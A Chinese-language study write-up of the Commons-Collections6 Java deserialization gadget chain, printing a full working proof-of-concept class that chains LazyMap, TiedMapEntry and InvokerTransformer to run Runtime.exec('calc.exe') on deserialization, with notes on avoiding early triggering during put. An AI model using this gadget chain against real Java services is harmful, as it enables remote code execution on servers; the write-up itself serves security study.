Commons-Collections6反序列化

在ysoserial中,CommonsCollections6可以说是commons-collections这个库中相对⽐较通⽤的利⽤ 链,为了解决⾼版本Java的利⽤问题,我们先来看看这个利⽤链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6_test {
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] fake_transformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake_transformers);
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(key,"sss");
decorate.remove("key");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);

//serialize(hashMap);
unserialize("ser.bin");
}
}

由于在java 8u71,这个利⽤链不能再利⽤了,主要原因 是sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。

ysoserial作者找到了另一条能够触发lazymap的方法,就是TiedMapEntry这个类中的getValue方法中调用了get方法

在其同类中的hashcode方法调用了get方法

所以我们想要进行rce就需要找到一个可以触发hashcode的方法,在URLDNS链中我们知道hashmap的readobject中调用了hash方法,而其hash方法中又调用了hashcode方法,所以调用链就出来了,我们可以构造一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transformer[] fake_transformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake_transformers);
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(key,"sss");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);

这里由于hasmap在put的时候也会调用hash方法所以我们先用一个假的invokertransformer进行put然后在反射修改成真的就不会在put的时候触发了,但是我们这样反序列化运行后发现也没有触发,这是什么原因,我们跟进来看看

我们发现在lazymap中并没有进入if条件,这说明key被传入了,但是我们并没有给lazymao传入值,这里通过调试发现我们在hashmap进行put的时候进入lazymap的if条件之后如果没有key值他是会在进行put进去的所以我们只需要在put之后在进行删除即可poc如开头。

参考:https://blog.csdn.net/weixin_49125123/article/details/135232651 Java安全漫谈 - 12.反序列化篇(6).pdf

cc6调用链